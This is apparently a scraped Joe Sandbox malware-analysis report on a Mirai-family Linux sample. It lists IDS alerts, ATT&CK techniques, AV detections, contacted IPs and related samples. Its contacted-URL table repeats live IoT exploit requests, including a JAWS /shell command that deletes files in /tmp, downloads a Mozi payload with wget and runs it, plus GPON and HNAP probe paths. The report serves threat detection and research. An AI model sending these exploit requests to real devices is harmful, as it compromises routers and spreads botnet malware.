Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	3 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	3 Scripting	Boot or Logon Initialization Scripts	1 Hide Artifacts	1 Brute Force	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File and Directory Permissions Modification	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label	Link
na.elf	66%	ReversingLabs	Linux.Trojan.Mirai
na.elf	100%	Avira	EXP/ELF.Mirai.O

Name	IP	Active	Malicious	Reputation
dht.transmissionbt.com	87.98.162.88	true	false	unknown
daisy.ubuntu.com	162.213.35.25	true	false	unknown
router.bittorrent.com	unknown	unknown	true	unknown
bttracker.debian.org	unknown	unknown	true	unknown
router.utorrent.com	unknown	unknown	true	unknown

Name	Malicious	Reputation
http://15.58.211.116:49152/soap.cgi?service=WANIPConn1	false	unknown
http://25.208.54.250:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://75.129.13.107:37215/ctrlt/DeviceUpgrade_1	true	unknown
http://9.76.66.117:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://89.253.164.45:80/HNAP1/	false	unknown
http://140.21.88.228:80/HNAP1/	false	unknown
http://146.203.11.74:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://22.197.183.182:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://179.181.86.165:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://107.138.191.211:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://102.102.62.249:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://198.201.202.58:80/HNAP1/	false	unknown
http://69.126.142.171:49152/soap.cgi?service=WANIPConn1	false	unknown
http://135.114.186.31:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://27.150.137.111:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://8.143.101.155:80/HNAP1/	false	unknown
http://171.12.152.5:80/HNAP1/	false	unknown
http://211.92.167.27:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://177.245.203.92:49152/soap.cgi?service=WANIPConn1	false	unknown
http://56.16.164.18:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://113.136.5.183:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://211.110.19.95:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://157.203.240.170:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://61.159.81.120:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://222.110.143.214:49152/soap.cgi?service=WANIPConn1	false	unknown
http://188.221.101.214:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://211.1.231.74:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://124.71.42.11:49152/soap.cgi?service=WANIPConn1	true	unknown
http://208.163.147.176:37215/ctrlt/DeviceUpgrade_1	true	unknown
http://129.33.22.132:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://123.110.237.97:37215/ctrlt/DeviceUpgrade_1	true	unknown
http://38.35.202.110:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://23.20.62.158:80/HNAP1/	false	unknown
http://35.214.210.19:49152/soap.cgi?service=WANIPConn1	false	unknown
http://7.158.89.253:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://63.174.117.8:49152/soap.cgi?service=WANIPConn1	false	unknown
http://169.41.215.208:80/HNAP1/	false	unknown
http://142.146.216.107:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	unknown
http://210.87.45.195:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://79.108.192.202:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://35.92.186.31:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://63.82.221.177:80/HNAP1/	false	unknown
http://72.97.194.253:49152/soap.cgi?service=WANIPConn1	true	unknown
http://219.90.233.189:37215/ctrlt/DeviceUpgrade_1	true	unknown
http://168.210.89.176:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	unknown
http://195.5.142.123:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://180.220.217.69:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://222.41.38.141:49152/soap.cgi?service=WANIPConn1	false	unknown
http://120.32.245.201:49152/soap.cgi?service=WANIPConn1	false	unknown
http://139.10.54.61:80/HNAP1/	false	unknown
http://183.46.9.90:80/HNAP1/	false	unknown
http://150.207.100.3:49152/soap.cgi?service=WANIPConn1	true	unknown
http://75.168.165.37:80/HNAP1/	false	unknown
http://23.217.115.182:49152/soap.cgi?service=WANIPConn1	true	unknown
http://122.222.28.190:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://162.34.119.0:80/HNAP1/	false	unknown
http://76.55.103.215:49152/soap.cgi?service=WANIPConn1	true	unknown
http://76.238.132.247:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://151.192.241.142:49152/soap.cgi?service=WANIPConn1	false	unknown
http://97.52.246.132:80/HNAP1/	false	unknown
http://74.97.59.5:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://167.238.202.58:49152/soap.cgi?service=WANIPConn1	false	unknown
http://85.169.98.50:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://159.47.230.12:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://17.112.87.81:49152/soap.cgi?service=WANIPConn1	false	unknown
http://98.237.245.250:49152/soap.cgi?service=WANIPConn1	false	unknown
http://3.17.48.15:49152/soap.cgi?service=WANIPConn1	false	unknown
http://204.85.84.10:80/HNAP1/	false	unknown
http://141.82.159.45:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://97.93.111.193:49152/soap.cgi?service=WANIPConn1	false	unknown
http://104.71.10.76:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://148.12.254.254:49152/soap.cgi?service=WANIPConn1	false	unknown
http://78.14.245.139:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	true	unknown
http://163.165.86.57:49152/soap.cgi?service=WANIPConn1	false	unknown
http://179.215.18.53:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://141.29.51.114:80/HNAP1/	false	unknown
http://53.118.76.85:80/HNAP1/	false	unknown
http://55.48.226.23:80/HNAP1/	false	unknown
http://2.171.230.56:37215/ctrlt/DeviceUpgrade_1	true	unknown
http://177.15.179.85:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://202.201.13.211:80/HNAP1/	false	unknown
http://202.244.71.133:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://188.72.72.225:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://106.97.154.172:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://175.123.128.248:37215/ctrlt/DeviceUpgrade_1	false	unknown
http://177.68.64.188:49152/soap.cgi?service=WANIPConn1	false	unknown
http://165.104.95.207:37215/ctrlt/DeviceUpgrade_1	true	unknown
http://39.76.4.159:80/HNAP1/	false	unknown
http://37.153.9.52:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://199.244.240.222:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://202.85.197.47:37215/ctrlt/DeviceUpgrade_1	true	unknown
http://222.85.199.84:49152/soap.cgi?service=WANIPConn1	false	unknown
http://55.210.120.36:80/HNAP1/	false	unknown
http://164.221.77.195:80/HNAP1/	false	unknown
http://93.158.218.115:80/shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	false	unknown
http://181.102.205.123:80/HNAP1/	false	unknown
http://52.58.178.181:49152/soap.cgi?service=WANIPConn1	false	unknown

Name	Source	Malicious	Reputation
http://baidu.com/%s/%s/%d/%s/%s/%s/%s)	na.elf, networks.14.dr	false	unknown
http://www.alsa-project.org.	alsa-info.sh.14.dr	false	unknown
http://HTTP/1.1	na.elf, networks.14.dr	false	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
219.158.239.30	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
203.120.1.69	unknown	Japan	4628	PACIFICINTERNET-AS-APPacificInternetPteLtdSG	false
64.53.50.32	unknown	United States	2711	SPIRITTEL-ASUS	false
173.51.6.210	unknown	United States	5650	FRONTIER-FRTRUS	false
160.7.225.171	unknown	United States	210	WEST-NET-WESTUS	false
101.41.139.66	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
186.69.121.152	unknown	Ecuador	14522	SatnetEC	false
46.4.195.6	unknown	Germany	24940	HETZNER-ASDE	false
135.157.170.164	unknown	United States	14962	NCR-252US	false
30.150.20.14	unknown	United States	7922	COMCAST-7922US	false
77.137.237.104	unknown	France	49902	SRR-ASFR	false
156.223.192.110	unknown	Egypt	8452	TE-ASTE-ASEG	false
166.110.100.137	unknown	Chile	9321	HYUNET-ASHanyangUniversityKR	false
207.2.29.222	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
119.82.27.247	unknown	Japan	63997	TSUKAERUNETTsukaerunetWebHostingCompanyJapanJP	false
155.242.82.10	unknown	United States	11845	Vox-TelecomZA	false
23.228.57.202	unknown	United States	40065	CNSERVERSUS	false
47.231.146.153	unknown	United States	7224	AMAZON-ASUS	false
104.76.63.127	unknown	United States	16625	AKAMAI-ASUS	false
173.77.111.192	unknown	United States	701	UUNETUS	false
67.172.93.242	unknown	United States	7922	COMCAST-7922US	false
136.198.223.130	unknown	Japan	60311	ONEFMCH	false
160.235.149.243	unknown	Japan	11259	ANGOLATELECOMAO	false
70.62.83.125	unknown	United States	11426	TWC-11426-CAROLINASUS	false
125.127.214.236	unknown	China	58461	CT-HANGZHOU-IDCNo288Fu-chunRoadCN	false
46.238.159.139	unknown	France	21351	CANALPLUSTELECOMFR	false
87.94.215.163	unknown	Finland	16086	DNAFI	false
60.102.25.173	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
11.0.91.244	unknown	United States	3356	LEVEL3US	false
123.216.243.165	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
41.45.223.125	unknown	Egypt	8452	TE-ASTE-ASEG	false
107.201.110.250	unknown	United States	7018	ATT-INTERNET4US	false
65.141.28.107	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
209.97.195.142	unknown	Canada	19875	TERAGO-RACKFORCECA	false
39.69.192.204	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
177.254.164.88	unknown	Colombia	27831	ColombiaMovilCO	false
106.58.169.172	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
154.137.125.110	unknown	Egypt	37069	MOBINILEG	false
58.116.180.210	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
122.17.55.215	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
34.66.240.23	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
135.105.200.151	unknown	United States	18676	AVAYAUS	false
47.162.120.58	unknown	United States	5650	FRONTIER-FRTRUS	false
188.187.154.25	unknown	Russian Federation	41786	ERTH-YOLA-ASRU	false
1.211.177.193	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
219.145.164.61	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
102.196.108.25	unknown	unknown	36926	CKL1-ASNKE	false
158.233.212.218	unknown	Sweden	28810	WHO-ASEU	false
65.99.105.229	unknown	United States	21688	GMP-METROCASTUS	false
87.71.122.127	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	false
37.212.111.199	unknown	Belarus	6697	BELPAK-ASBELPAKBY	false
111.193.96.42	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
72.124.132.163	unknown	United States	22394	CELLCOUS	false
193.160.113.218	unknown	unknown	56611	REBACOM-ASNL	false
142.130.91.41	unknown	Canada	13576	SDNW-13576US	false
111.27.173.222	unknown	China	134810	CMNET-JILIN-AS-APChinaMobileGroupJiLincommunicationsco	false
93.7.228.86	unknown	France	15557	LDCOMNETFR	false
165.48.104.13	unknown	United States	37053	RSAWEB-ASZA	false
66.150.148.97	unknown	United States	10912	INTERNAP-BLKUS	false
30.156.103.39	unknown	United States	7922	COMCAST-7922US	false
2.77.11.155	unknown	Kazakhstan	29355	KCELL-ASKZ	false
144.43.66.93	unknown	Netherlands	48037	SSO-ICTNL	false
17.249.237.86	unknown	United States	714	APPLE-ENGINEERINGUS	false
106.176.104.222	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
155.209.207.249	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
111.175.108.69	unknown	China	136194	CHINATELECOM-HUBEI-HUANGSHI-IDCHuangshiHubeiProvinceP	false
95.80.249.98	unknown	Czech Republic	29208	DIALTELECOM-ASDialTelecomasSK	false
160.96.192.236	unknown	Singapore	715	WOODYNET-2US	false
117.78.79.98	unknown	China	55990	HWCSNETHuaweiCloudServicedatacenterCN	false
179.240.162.227	unknown	Brazil	22085	ClaroSABR	false
186.120.132.103	unknown	Dominican Republic	28118	ALTICEDOMINICANASADO	false
95.254.26.5	unknown	Italy	3269	ASN-IBSNAZIT	false
8.230.56.237	unknown	United States	3356	LEVEL3US	false
95.16.40.212	unknown	Spain	12479	UNI2-ASES	false
157.65.29.194	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
87.46.74.15	unknown	Ireland	1213	HEANETIE	false
44.63.210.141	unknown	United States	7377	UCSDUS	false
157.187.69.248	unknown	United States	668	DNIC-AS-00668US	false
165.212.40.162	unknown	United States	14454	PERIMETER-ESECURITYUS	false
172.103.5.23	unknown	United States	11232	MIDCO-NETUS	false
157.89.79.255	unknown	United States	13327	EKUUS	false
52.53.72.62	unknown	United States	16509	AMAZON-02US	false
187.44.2.61	unknown	Brazil	28202	RedeBrasileiradeComunicacaoLtdaBR	false
194.94.180.152	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
176.230.183.217	unknown	Israel	12400	PARTNER-ASIL	false
115.70.97.154	unknown	Australia	10143	EXETEL-AS-APExetelPtyLtdAU	false
196.179.143.82	unknown	Tunisia	37693	TUNISIANATN	false
42.226.70.10	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
82.140.69.47	unknown	Russian Federation	20632	PETERSTAR-ASSaint-PetersburgRU	false
110.117.101.215	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
208.205.197.25	unknown	United States	7759	OSTERUS	false
40.207.182.128	unknown	United States	4249	LILLY-ASUS	false
185.110.73.83	unknown	Switzerland	21232	GGAMAURCH	false
123.8.62.241	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
122.86.214.76	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
169.190.36.236	unknown	United States	37611	AfrihostZA	false
53.41.75.243	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
111.240.164.209	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
180.4.164.24	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
111.114.154.254	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
67.172.93.242	zfet6SsFtS.elf	Get hash	malicious	Mirai	Browse
156.223.192.110	ak.arm5-20220923-2311.elf	Get hash	malicious	Mirai	Browse
	xQVWucLl9H	Get hash	malicious	Mirai	Browse
	sbcPMw271m	Get hash	malicious	Mirai	Browse
	NMtuHNXbEC	Get hash	malicious	Mirai	Browse
41.45.223.125	0WiTNMZO0D.elf	Get hash	malicious	Mirai	Browse
	rNnu910AQq.elf	Get hash	malicious	Mirai	Browse
	AQGIeHF7Hq.elf	Get hash	malicious	Mirai, Moobot	Browse
	ljc.sh	Get hash	malicious	Mirai, Moobot	Browse
	UnHAnaAW.arm7	Get hash	malicious	Mirai	Browse
	Jw0RJGcmKw	Get hash	malicious	Mirai	Browse
173.77.111.192	4cNNzbXfL2.elf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	jew.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	x86_64.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	162.213.35.24
	tarm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	garm.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	tarm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	tsh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	tel.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	dwhdbg.elf	Get hash	malicious	Gafgyt, Mirai, Okiru	Browse	162.213.35.25
dht.transmissionbt.com	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	212.129.33.59
	SecuriteInfo.com.Trojan.Crypt.23519.13317.exe	Get hash	malicious	Unknown	Browse	212.129.33.59
	SecuriteInfo.com.Riskware.OfferCore.5002.4698.exe	Get hash	malicious	PrivateLoader	Browse	87.98.162.88
	5d9fe2735d4399d98e6e6a792b1feb26d6f2d9a5d77944ecacb4b4837e5e5fca.zip	Get hash	malicious	Xmrig	Browse	87.98.162.88
	240506-b7lv1sfmcw_pw_infected.zip	Get hash	malicious	Xmrig	Browse	87.98.162.88
	240506-b7lv1sfmcw_pw_infected.zip	Get hash	malicious	Xmrig	Browse	87.98.162.88
	5d9fe2735d4399d98e6e6a792b1feb26d6f2d9a5d77944ecacb4b4837e5e5fca.zip	Get hash	malicious	Xmrig	Browse	87.98.162.88
	na.elf	Get hash	malicious	Mirai	Browse	87.98.162.88
	Photo.scr.exe	Get hash	malicious	Xmrig	Browse	87.98.162.88
	bin.sh	Get hash	malicious	Mirai	Browse	212.129.33.59

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report na.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/grub/i386-pc/modinfo.sh

/etc/acpi/asus-keyboard-backlight.sh

/etc/acpi/asus-wireless.sh

/etc/acpi/ibm-wireless.sh

/etc/acpi/tosh-wireless.sh

/etc/acpi/undock.sh

/etc/console-setup/cached_setup_font.sh

/etc/console-setup/cached_setup_keyboard.sh

/etc/console-setup/cached_setup_terminal.sh

/etc/gdm3/config-error-dialog.sh

/etc/init.d/S95baby.sh

/etc/init.d/console-setup.sh

/etc/init.d/hwclock.sh

/etc/init.d/keyboard-setup.sh

/etc/profile.d/01-locale-fix.sh

/etc/profile.d/Z97-byobu.sh

/etc/profile.d/Z99-cloud-locale-test.sh

/etc/profile.d/Z99-cloudinit-warnings.sh

/etc/profile.d/apps-bin-path.sh

/etc/profile.d/bash_completion.sh

/etc/profile.d/cedilla-portuguese.sh

/etc/profile.d/gawk.sh

/etc/profile.d/im-config_wayland.sh

Linux Analysis Report
na.elf

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	jew.mpsl.elf	Get hash	malicious	Mirai	Browse	1.94.226.253
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	61.48.36.221
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	115.33.63.13
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	116.219.8.160
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	125.33.247.228
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	221.219.249.207
	nklm68k.elf	Get hash	malicious	Unknown	Browse	118.247.114.6
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	123.126.198.121
	splm68k.elf	Get hash	malicious	Unknown	Browse	114.255.131.206
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	219.232.104.200
FRONTIER-FRTRUS	jew.x86.elf	Get hash	malicious	Mirai	Browse	47.198.248.193
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	47.155.118.94
	jew.spc.elf	Get hash	malicious	Mirai	Browse	108.9.172.22
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	47.146.30.144
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	50.111.147.137
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	47.146.52.81
	arm5.elf	Get hash	malicious	Unknown	Browse	47.148.142.44
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	47.164.182.74
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	47.148.105.91
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	50.33.150.103
SPIRITTEL-ASUS	nklarm7.elf	Get hash	malicious	Unknown	Browse	169.150.29.111
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	64.53.44.153
	https://thegramp.nimbusweb.me/share/11336505/nigrk0yirmsg8qt4s4nm	Get hash	malicious	HTMLPhisher	Browse	169.150.236.104
	https://nimb.ws/uRSOy9q	Get hash	malicious	HTMLPhisher	Browse	169.150.247.36
	https://nimb.ws/uRSOy9q	Get hash	malicious	HTMLPhisher	Browse	169.150.249.167
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	169.150.247.36
	https://app.writesonic.com/share/writing-assistant/d140c48b-3642-43bf-a085-e258c1fb4f03	Get hash	malicious	Unknown	Browse	169.150.221.147
	https://www.pumpproducts.com/goulds-lb0735te-centrifugal-booster-pump-3-4-hp-208-230-460-volts-3-phase-1-1-4-npt-suction-1-npt-discharge-18-gpm-max-176-ft-max-head-5-impeller-tefc-stainless-steel-pump-end-casing.html	Get hash	malicious	Unknown	Browse	169.150.221.147
	https://www.elastic.co/security-labs/elevate-your-threat-hunting?utm_source=organic-social&utm_medium=twitter&utm_campaign=esl:_threat_research_esl_blog_post&utm_content=15000445268&linkId=626315843	Get hash	malicious	Cuba, Latrodectus, UACMe, Xmrig	Browse	169.150.247.37
	arm7.elf	Get hash	malicious	Unknown	Browse	64.53.50.31
PACIFICINTERNET-AS-APPacificInternetPteLtdSG	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	203.120.234.123
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	203.153.143.187
	na.elf	Get hash	malicious	Unknown	Browse	202.42.160.119
	botnet.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	203.152.135.224
	arm5.nn-20241014-0317.elf	Get hash	malicious	Mirai, Okiru	Browse	210.24.249.55
	na.elf	Get hash	malicious	Mirai	Browse	202.42.48.144
	ZeHA1CMTQq.elf	Get hash	malicious	Mirai	Browse	202.42.112.203
	botx.x86.elf	Get hash	malicious	Mirai	Browse	202.42.247.3
	arm5-20240709-0417.elf	Get hash	malicious	Mirai	Browse	203.120.137.164
	sYgsg1JAC0.elf	Get hash	malicious	Mirai	Browse	202.42.247.60

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/init.d/S95baby.sh	bin.sh.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Mirai	Browse
	bin.sh	Get hash	malicious	Mirai	Browse
